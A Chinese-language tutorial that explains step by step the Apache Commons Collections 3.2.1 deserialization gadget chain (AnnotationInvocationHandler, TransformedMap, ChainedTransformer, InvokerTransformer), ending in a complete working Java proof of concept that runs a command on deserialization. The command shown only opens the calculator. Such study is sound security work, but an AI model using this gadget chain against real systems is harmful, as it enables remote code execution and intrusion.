Apache Commons Collections反序列化的核心利用是通过TransformedMap或LazyMap触发InvokerTransformer的反射调用,最终通过Runtime.exec()执行命令。
依赖条件:
JDK版本:小于1.8.0_8u71
Commons Collections 3.2.1及以下版本。
jdk-8u65:官方下载地址:Java Archive Downloads - Java SE 8
Commons Collections 3.2.1官方下载地址:Apache Commons Collections Release Notes – Apache Commons Collections
或者使用maven依赖配置:
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
我们先整体看下他的流程:大致链路如下:AnnotationInvocationHandler.readObject()----AbstractMapEntryDecorator.setValue()---TransformedMap.checkSetValue()---ChainedTransformer.transform()--InvokerTransformer. transform()---Runtime.getruntime().exec()这样的一个过程,我们逐步分解,从后往前实现。一步步看怎么完成恶意代码的执行的。
首先在commons.collections.functors.InvokerTransformer
先从InvokerTransformer. transform()开始:
在invokerTransformer.java中transform()方法代码如下:
public Object transform(Object input) {
if (input == null) {
return null;
}
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
上面代码,保留关键部分,transform方法,传入的input对象,通过反射input.getClass()得到对象cls,反射得到cls对象的方法,最后返回method方法的执行结果(return method.invoke(input, iArgs))。
其中iMethodName,iParamTypes,iArgs 均在创建InvokerTransformer对象时传入,其构造函数代码如下:形参分别为String methodName,Class[] paramTypes, Object[] args对应其方法中的各个参数:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
那么我们在创建这个对象的时候,传入string类型的方法名字,class数组类型的参数类型,以及object数组类型的参数,再通过调用transform方法,就可以控制代码的执行了!
为了便于理解参数传递过程(java的反射机制),我们回到上面调用cls.getMethod方法,我们看下java反射机制里面的getMethod这个方法,如下:
public Method getMethod(String name, Class<?>... parameterTypes)
throws NoSuchMethodException, SecurityException {
checkMemberAccess(Member.PUBLIC, Reflection.getCallerClass(), true);
Method method = getMethod0(name, parameterTypes, true);
if (method == null) {
throw new NoSuchMethodException(getName() + "." + name + argumentTypesToString(parameterTypes));
}
return method;
}
接受一个字符串,以及一个class类型的可变参数,刚好在InvokerTransformer方法里面与这里的参数类型对应上,所以我们大概知道InvokerTransformer类的作用应该是通过Java反射机制动态调用任意类的方法!
现在尝试通过这个类来反射调用恶意代码试试:
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",//调用其构造方法,需要传入的反射对象调用的方法的名字,即transform方法中的iMethodName
new Class[]{String.class},//这里需要一个Class类型的数组参数,所以需要new一个数组,即transform方法中的iParamTypes,exec()方法需要字符串类型的参数,所以是String.class
new Object[]{"calc"});//传入的反射对象调用的方法的实际参数,也是数组类型,new一个数组值,即transform方法中iArgs
invokerTransformer.transform(Runtime.getRuntime());//传入要反射的对象,Runtime单例模式,通过getRuntimeke可获的一个对象
成功执行。在代码注释中做了详细解析!最后一步执行成功。继续往前推进!
首先看看它的属性,在它定义的属性中有2个Transformer( protected final Transformer keyTransformer;
protected final Transformer valueTransformer;)同时它继承至AbstractInputCheckedMapDecorator 继承至AbstractMapDecorator ,它又实现了Map接口,所以TransformeredMap其实也是一个Map。
而且存在如下方法checkSetValue():
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
看出来了把,这里的有调用transform方法,我们的最后一步就是通过invokerTransformer.transform(Runtime.getRuntime())来实现代码执行,所以只要执行这个checkSetValue方法,同时满足TransformedMap的属性valueTransformer == invokerTransformer 即等同于我们上面的代码执行。
首先对valueTransformer的属性赋值,一般情况下属性的赋值都是在类的构造函数中进行。所以看看构造函数
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
确实是通过构造函数进行赋值,只要我们创建TransformedMap对象的时候参数是InvokerTransformer,就可以赋值了,但是这里的构造函数是protected,无法直接通过new来创建对象,所以好像无法得到对象。好在它提供了另外的public方法decorate--返回一个TransformedMap对象,所以我们可以通过调用decorate方法来创建对象。
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
解决了这个问题,那么怎么来调用checkSetValue方法呢。所以继续找到调用这个方法的地方。
在它得父类AbstractInputCheckedMapDecorator.java中找到这个抽象类里面的setValue()方法,它调用了checkSetValue();
又出现问题了,要调用checkSetValue 得先调用setValue方法。但是这里得方法它属于MapEntry这个类的内部类里面的一个方法,所以还需要想办法获取这个内部类对象,才能调用:就在内部类上面的next()方法中就发现了一个创建内部类的方法调用如下:
public Object next() { Map.Entry entry = (Map.Entry) iterator.next(); return new MapEntry(entry, parent); } }
现在又需要调用这个next()方法,next()方法什么时候会调用,一般情况下会在迭代器的读取下一个元素的时候自动调用。所以现在就明显了需要一个可迭代的对象,而且这个方法也是一个内部类得方法。
static class EntrySetIterator extends AbstractIteratorDecorator { /** The parent map */ private final AbstractInputCheckedMapDecorator parent; protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) { super(iterator); this.parent = parent; } public Object next() { Map.Entry entry = (Map.Entry) iterator.next(); return new MapEntry(entry, parent); } }
现在又需要一个内部类对象,在EntrySet这个内部类里面创建了EntrySetIterator内部类对象,
所以又需要一个EntrySet得对象,如下最终在entrySet()方法中new了一个EntrySet得对象。
那我们知道entrySet()这个方法,主要是实现了Map接口的对象有这个方法,主要作用是获取每一个键值对(key-value),返回的是一个Set<Map.Entry<K,V>>
集合。通过对集合的iterator()方法,获取迭代器,通过迭代器的next()方法获取集合中的每一个键值对。
那怎么调用这些方法呢。回到TransformedMap本身上来再看下它的创建对象的方法:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
} 返回一个Map对象。继承的public class TransformedMap extends AbstractInputCheckedMapDecorator,并且AbstractInputCheckedMapDecorator继承AbstractMapDecorator,AbstractMapDecorator又实现了Map------------public abstract class AbstractMapDecorator implements Map
也就是TransformeredMap 这个对象就可以调用entrySet()这个方法,从而调用iterator()方法,通过迭代器调用next()方法
再调用return new MapEntry(entry, parent),这里的entry就是TransformeredMap对象的每一个键值对(key:value),parent指的是当前对象(TransformeredMap在下面的测试代码中是decorate )从而完成上面的一系列调用流程!所以其完整调用流程是这样:entrySet() ---new EntrySet(map.entrySet(), this);---return new EntrySetIterator(collection.iterator(), parent);--- next(); --- return new MapEntry(entry, parent);--- public Object setValue(Object value),就这样走进了所有的内部类,调用了对应的方法------最后执行setValue(Object value) --parent.checkSetValue(value)--- return valueTransformer.transform(value);。测试代码如下:
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}); HashMap hsm1 = new HashMap<String,String>(); hsm1.put("a","b"); Map<Object,Object> decorate = TransformedMap.decorate(hsm1, null, invokerTransformer); for(Map.Entry<Object,Object> entry:decorate.entrySet()){ entry.setValue(Runtime.getRuntime()); }
跟前面的invokerTransformer直接执行恶意代码相比,这里的是通过TransformedMap的invokerTransformer属性来执行了恶意代码。
为了便于理解我们回顾一下TransformedMap它是一个Map类型,Map<Object,Object> decorate = TransformedMap.decorate(hsm1, null, invokerTransformer);通过传入的hsm1(hashmap类型),返回一个Map类型。它同时拥有了
两个Transformer类型的属性,看名字就知道是对Map的key,和value进行操作的。然后对key和value操作的时候就会调用对应的Transformer的属性,方法,相当于使用TransformedMap可以对传入的Map,进行Transformer的一些方法处理在返回一个处理之后的map。这其实是java的装饰器的特点。--通过传入不同 Transformer 实现类,可对集合元素进行任意逻辑处理(如反射调用方法、常量赋值等)。
至此通过TransformedMap装饰器可以执行系统命令了。
既然是反序列化的漏洞,现在肯定需要一个反序列化的入口,看看AnnotationInvocationHandler这个类的方法。有反序列的操作readObject()
并且可以看到这里的整个代码:重点第一行以及第八行
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name)));
第一行首先对map进行entrySet()操作获取每一个键值对,第八行在对其value进行赋值。对比我们的测试代码
for(Map.Entry<Object,Object> entry:decorate.entrySet()){ entry.setValue(Runtime.getRuntime()); }
一模一样!所以只要这里的memberValues=decorate ;(decorate前面的TransformedMap对象 )就可以了,再看看这个值哪儿来的:
在创建对象的时候传入的。所以只要我们在创建这个对象的时候传入我们的Map<Object,Object> decorate = TransformedMap.decorate(hsm3, null, invokerTransformer);这个对象就完成了。
但是我们发现这里的反序列方法readObject()是protected,类也不是public的,并且构造方法也不是pubulc,无法直接访问。所以这里就需要使用java的反射机制,通过反射的方式获取该类的对象。实现对memberValues进行赋值,传入我们的TransformedMap的处理过的Map对象。
同时当使用 ObjectInputStream 反序列化对象时,如果该对象的类实现了 Serializable 接口且自定义readObject() 方法(无论是否为 protected),JVM 会通过反射机制自动调用该方法完成反序列化,所以这里的两个问题都解决了。
梳理一下思路 通过反射获取AnnotationInvocationHandler的对象,传参我们的TansformedMap对象进去,执行反序列化readObject,用代码测试一下:
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",//传入的反射调用的方法的名字
new Class[]{String.class},//这里需要一个Class类型的数组参数
new Object[]{"calc"});//传入的反射调用的方法的参数,即恶意代码的名字
HashMap hsm3 = new HashMap<String,String>();//初始的Map--HashMap
hsm3.put("a","b");//put初始值key=a value=b
Map<Object,Object> decorate = TransformedMap.decorate(hsm3, null, invokerTransformer);//创建对象TransformedMap的对象,装饰器处理初始的hsm3,得到一个Map decorate
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//通过反射拿到AnnotationInvocationHandler的类对象
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);//反射构造获取构造方法
declaredConstructor.setAccessible(true);//设置setAccessible为True才可调用非公开的构造方法,从而进行对象实例化
Object o = declaredConstructor.newInstance(Target.class, decorate);//通过得到的构造方法,实例化一个对象o。
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.bin"));//创建一个文件输入流
oos.writeObject(o);//通过文件输出流序列化对象o,保存到当前文件夹下,文件为1.bin
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.bin"));
ois.readObject();
前面的不看,从反射对象开始,AnnotationInvocationHandler的
构造方法需要传入两个参数,一个注解,一个Map。并且是Class类型的对象。
逐行分析测试代码:
如下获取该类的对象,先设置可访问属性为true,确保可访问它的非public构造方法,从而进行实例化:
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//通过反射拿到AnnotationInvocationHandler的类对象
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
然后是得到AnnotationInvocationHandler的对象,只要对这个对象进行序列化,然后再反序列化就会调用它的readObject();
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.bin"));
oos.writeObject(o);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.bin"));
ois.readObject();
对上面代码进行调试:当调用readObject的时候会在AnnotationInvocationHandler的这个方法处停住,说明我们的流程是没有问题的。如下图,成功进入反序列化流程:
虽然执行了反序列化方法,但是要执行到下面的setValue 需要突破两个if判断
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
第一个if (memberType != null) { // i.e. member still exists,查看注释意思大概是检查成员是否存在,看一下这个成员是哪儿得到的
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
就是该方法里面的变量, annotationType = AnnotationType.getInstance(type); 从这里来。type是我们通过反射创建对象得时候传入得注解类对象,这里直接获取到这个注解(target 在测试测试代码中: Object o = declaredConstructor.newInstance(Target.class, decorate);//第一个参数注解class类型,第二个Map)对象,然后通过 Map<String, Class<?>> memberTypes = annotationType.memberTypes(); 获取这个对象的方法名字,和方法得返回值得Class对象,存放在map中对应k-v。memberTypes在后面会有用,这里记住他是这个反射出来的注解对象的所有方法。
后面就是一个增强得for循环,获取memberValues得每一条信息。其实就是获取我们传入得MAP得k-v每一条记录for (Map.Entry<String, Object> memberValue : memberValues.entrySet())
然后进行判断:
String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy))
memberType不为空,以及不可以通过value反射成memberType的类对象或者value也不可以是ExceptionProxy的子类、以及子类的实例就可以执行到我们的memberValue.setValue
现在来确认 这几个的值: Class<?> memberType = memberTypes.get(name) 只要name这个key存在,memberType 就有值,而 String name = memberValue.getKey(); 所以只要我们传入的map 的key值,同时在memberTypes.get(name) 里面也存在这个key,就OK了,这里不为空-true通过,我们传入的是Target接口对象,拥有Value的方法,所以name=value即可;然后下面的两个判断,value这里是我们的map的value的值。我们传入的是字符串String,肯定不能反射成为memberType,因为Target类的反方返回类型是ElementType[] 类型的如下:肯定也不属于ExceptionProxy得子类相关内容
public @interface Target {
/**
* Returns an array of the kinds of elements an annotation type
* can be applied to.
* @return an array of the kinds of elements an annotation type
* can be applied to
*/
ElementType[] value();
}
public abstract class ExceptionProxy implements java.io.Serializable {
protected abstract RuntimeException generateException();
}
所以第二个!false也为true也过了。所以我们传入的map的key值 应该是Target的方法名,ElementType[] value(); 即这里的value。修改上面的测试代码Map的初始值key的值改为value字符串 即 hsm3.put("value","b");再次调试:
成功执行到setValue了。
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
虽然这里执行了,但是这个传入的参数看起来像是我们无法控制的,就执行不了我们的恶意代码entry.setValue(Runtime.getRuntime());了。
所以需要一个参数可控,或者不管提供什么参数,都执行同样得操作得方法,刚好有个常量Transformer :ConstantTransformer
public Object transform(Object input) {
return iConstant;
}
它得transform方法 不管传入什么,都返回一个常量,如下代码它得常量值是我们可以控制得,在创建对象得时候由我们传入
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
也就是这样:我们就可以得到一个常量得runtime类对象,但是又出现了问题,后面得代码怎么执行,只有常量不够:因为我们最终要执行invokerTransformer.transform()
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
这里又出现了另外一个transform---》ChainedTransformer 看看这个类得方法里面有什么。
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
首先创建对象得时候,传入一个Transformer[]得数组===iTransformers ,如果调用它得transform方法,神奇得事情就发生了。它会将得到得数组里面得所有Transformer 都执行一次transform方法,并且前一个结果作为后一个TTransformer.transform(object)得参数传入,相当于这样
iTransformers[2].transform(iTransformers[1].transform(iTransformers[0].transform(”这里可控“)))
同时这个ChainedTransformer 得iTransformers 也可控。如果iTransformers[0]这里传入得是常量ConstantTransformer 那么我们就得到了一个可以绕过setValue得方法了。
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
也就是这里得setValue 只要这个memberValue 执行的时候,是常量ConstantTransformer 属性。就达到了目的
跟一下这个memberValue《--memberValues.entrySet()《--this.memberValues = memberValues; 原来它来自对象实例化的时候传入的实参。
梳理一下首先实例化AnnotationInvocationHandler 传入memberValues 然后readObject 方法中对这memberValues.entrySet(),而我们的TransformedMap 返回的就是一个处理过的Map ,所以这一下就打通了。
所以接下来我们用测试代码通过反序列化调用一下这个AnnotationInvocationHandler 这个的readObject方法
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",//传入的反射调用的方法的名字
new Class[]{String.class},//这里需要一个Class类型的数组参数
new Object[]{"calc"});//传入的反射调用的方法的参数
HashMap hsm3 = new HashMap<String,String>();
hsm3.put("value","b");
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.getRuntime());
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer,invokerTransformer});//将两个Transformer放进ChainedTransformer 中形成数组,然后依次调用
Map<Object,Object> decorate = TransformedMap.decorate(hsm3, null, chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//通过反射拿到AnnotationInvocationHandler的类对象
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
//getDeclaredConstructor需要Class类型的任意参数,所以使用.class对应AnnotationInvocationHandler构造方法传参
declaredConstructor.setAccessible(true);//设置True调用非公开的构造方法,从而进行对象实例化
Object o = declaredConstructor.newInstance(Target.class, decorate);//第一个参数注解class类型,第二个Map
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.bin"));
oos.writeObject(o);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.bin"));
ois.readObject();
报错了
报错了,看下错误,意思是Runtime无法序列化。因为它没有实现Serializable接口,在java中只有实现了Serializable接口才能够进行序列化操作。这也是最后一个问题。
但是Class实现了Serializable接口,所以这里又需要通过反射来获得Runtime对象。
比如像这样:
Class<?> aClass1 = Runtime.class; Method getRuntime = aClass1.getMethod("getRuntime",null); Object Runtime_getRuntime = getRuntime.invoke(null); Method exec = aClass1.getMethod("exec", String.class); Object invoke = exec.invoke(Runtime_getRuntime,"calc");
就得到了一个Runtime的对象。并且执行了恶意代码,现在的目标是怎么通过反射的方式将代码改造成 直接通过反序列化执行呢。也就是这样的执行步骤:iTransformers[2].transform(iTransformers[1].transform(iTransformers[0].transform(”这里可控“)))
先一个个来:最后面的执行:iTransformers[0].transform(”这里可控“)
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
先获取一个常量ConstantTransformer 代码变成这样:
iTransformers[2].transform(iTransformers[1].transform(Runtime.class))
再来执行iTransformers[1].transform(Runtime.class)
那么这个iTransformers[1] 应该是怎么样的 才可以执行我们的代码:现在参数是Runtime.class对象,invokerTransformer 如下:
InvokerTransformer invokerTransformer = new InvokerTransformer("getMethod",//传入的反射调用的方法的名字
new Class[]{String.class,Class[].class},//这里需要一个Class类型的数组参数
new Object[]{"getRuntime",null});//传入的反射调用的方法的参数
最终执行的是它的transform():
public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs);
看前面的InvokerTransformer的transform方法。它其实就是通过反射执行了我们传入对象的方法。所以第二个可以执行的是InvokerTransformer.transform(Runtime.class)返回的是传入参数的准备执行的方法,input.getClass(); 这里通过反射得到了Class类, Method method = cls.getMethod(iMethodName, iParamTypes); 这里得到Class类的getMethod方法,最后是通过传入参数的类对象执行这个方法.这里执行之后其实得到的是一个Method对象return method.invoke(input, iArgs); 相当于return getMethod.invoke(Runtime.class,getRuntime)相当于是执行了 return Runtime.class.getMethod(getRuntime)得到了getRuntime 这个方法的method对象public static java.lang.Runtime java.lang.Runtime.getRuntime(),有了getRuntime()方法的对象,那么只需要invoke一下这个getRuntime的method对象就可以得到一个Runtime对象了,上面的流程:iTransformers[2].transform(iTransformers[1].transform(Runtime.class))就变成了:类似后面这种
iTransformers[2].transform(Runtime.class.getMethod(getRuntime)),所以继续执行iTransformers[2].transform()再走上面的流程,将Runtime.class.getMethod(getRuntime)参数传入:这里要执行的方法就是invoke了
InvokerTransformer invokerTransformer1 = new InvokerTransformer ("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}); Object runTime_get = invokerTransformer1.transform(transform_getRuntime); 最终执行的是它的transform(): public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs);
这里参数换成了input==getRuntime这个方法的对象了,public static java.lang.Runtime java.lang.Runtime.getRuntime() 即这个。然后这里执行反射Class cls = input.getClass();
得到 class java.lang.reflect.Method,这里执行的是cls.getMethod(invoke, iParamTypes);得到invoke的method对象。然后执行 return method.invoke(input, iArgs); 相当于 invoke.invoke(java.lang.Runtime.getRuntime(),null) 即通过反射执行Runtime.getRuntime()得到一个runtime对象,最后一步还需要执行我们的测试代码:
那就再来一个执行exec的InvokerTransformer,上面的链条变成了如下
iTransformers[3].transform(iTransformers[2].transform(Runtime.class.getMethod(getRuntime)))变成了
iTransformers[3].transform(Runtime.getRuntime())这就跟我们最开始的测试代码一样了,直接完成了反射的调用执行那么把所有的transformed加到一个链条里面:
InvokerTransformer invokerTransformer2 = new InvokerTransformer
("exec",new Class[]{String.class},new Object[]{"calc"});
这个链就是这样:将上面的代码变量直接赋值到ChainedTransformer 中,当这个链调用它的transform的时候,就完成了上诉的链式调用触发计算器。
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer,invokerTransformer,invokerTransformer1,invokerTransformer2});
最后的完整测试代码:
public class Main {
public static void main(String[] args) {
Class<Runtime> runtimeClass = Runtime.class;
InvokerTransformer invokerTransformer = new InvokerTransformer("getMethod",//传入的反射调用的方法的名字
new Class[]{String.class,Class[].class},//这里需要一个Class类型的数组参数
new Object[]{"getRuntime",null});//传入的反射调用的方法的参数
Object transform_getRuntime = invokerTransformer.transform(runtimeClass);//传入要反射的对象
InvokerTransformer invokerTransformer1 = new InvokerTransformer
("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null});
Object runTime_get = invokerTransformer1.transform(transform_getRuntime);
InvokerTransformer invokerTransformer2 = new InvokerTransformer
("exec",new Class[]{String.class},new Object[]{"calc"});
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
invokerTransformer2.transform(invokerTransformer1.transform(invokerTransformer.transform(constantTransformer.transform(1))));
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer,invokerTransformer,invokerTransformer1,invokerTransformer2});
//////chainedTransformer 反射方式调用
HashMap hsm1 = new HashMap<String,String>();
hsm1.put("a","b");
Map<Object,Object> decorate = TransformedMap.decorate(hsm1, null, chainedTransformer);
for(Map.Entry<Object,Object> entry:decorate.entrySet()){
entry.setValue("adfadfadf");
}
}
}
这是通过我们主动触发entry.setValue("adfadfadf");
,但是没有通过反序列化自动执行命令,所以再改成通过反序列化的时候自动执行:就是再将这个decorate 经过TransformedMap处理过的Map传入AnnotationInvocationHandler对象里面即可;将前面的如下:
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//通过反射拿到AnnotationInvocationHandler的类对象
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
//getDeclaredConstructor需要Class类型的任意参数,所以使用.class对应AnnotationInvocationHandler构造方法传参
declaredConstructor.setAccessible(true);//设置True调用非公开的构造方法,从而进行对象实例化
Object o = declaredConstructor.newInstance(Target.class, decorated);//第一个参数注解class类型,第二个Map
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.bin")); oos.writeObject(o); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.bin")); ois.readObject();
与这里的代码进行整合得到如下最终poc代码:
public class Main {
public static void main(String[] args) throws IOException, InvocationTargetException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException {
Class<Runtime> runtimeClass = Runtime.class;
InvokerTransformer invokerTransformer = new InvokerTransformer("getMethod",//传入的反射调用的方法的名字
new Class[]{String.class,Class[].class},//这里需要一个Class类型的数组参数
new Object[]{"getRuntime",null});//传入的反射调用的方法的参数
Object transform_getRuntime = invokerTransformer.transform(runtimeClass);//传入要反射的对象
InvokerTransformer invokerTransformer1 = new InvokerTransformer
("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null});
Object runTime_get = invokerTransformer1.transform(transform_getRuntime);
InvokerTransformer invokerTransformer2 = new InvokerTransformer
("exec",new Class[]{String.class},new Object[]{"calc"});
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer,invokerTransformer,invokerTransformer1,invokerTransformer2});
HashMap hsm1 = new HashMap<String,String>();
hsm1.put("value","value");
Map<Object,Object> decorate = TransformedMap.decorate(hsm1, null, chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//通过反射拿到AnnotationInvocationHandler的类对象
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);//设置True调用非公开的构造方法,从而进行对象实例化
Object o = declaredConstructor.newInstance(Target.class, decorate);//第一个参数注解class类型,第二个Map
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.bin"));
oos.writeObject(o);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.bin"));
ois.readObject();
}
}
然后将中间的创建对象过程都放在ChainedTransformer 里面直接创建整合之后得到如下简化代码:
public class cc1poc {
public static void main(String[] args) throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",//传入的反射调用的方法的名字
new Class[]{String.class,Class[].class},//这里需要一个Class类型的数组参数
new Object[]{"getRuntime",null}),
new InvokerTransformer
("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer
("exec",new Class[]{String.class},new Object[]{"calc"})
});
HashMap<Object,Object> hsm3 = new HashMap();
hsm3.put("value","aa");
Map<Object,Object> decorated = TransformedMap.decorate(hsm3, null, chainedTransformer);//
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//通过反射拿到AnnotationInvocationHandler的类对象
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
//getDeclaredConstructor需要Class类型的任意参数,所以使用.class对应AnnotationInvocationHandler构造方法传参
declaredConstructor.setAccessible(true);//设置True调用非公开的构造方法,从而进行对象实例化
Object o = declaredConstructor.newInstance(Target.class, decorated);//第一个参数注解class类型,第二个Map
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.bin"));
oos.writeObject(o);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.bin"));
ois.readObject();
}
}
执行成功,看起来有些乱,因为从后往前推的,简化来看流程:
AnnotationInvocationHandler.readObject()----AbstractMapEntryDecorator.setValue()---TransformedMap.checkValue()---ChainedTransformer.transform()--InvokerTransformer. transform()这样的一个过程,中间是各种对象的传值操作,以及Map的一些操作,导致看起来很复杂,基本上是通过ConstantTransformer这个来完成的,通过逐个执行几个不同的Transformer对象,调用对应它们的transform完成。
ChainedTransformer={ConstantTransformer,InvokerTransformer,InvokerTransformer,InvokerTransformer}
结束-----------------------------------------------------------------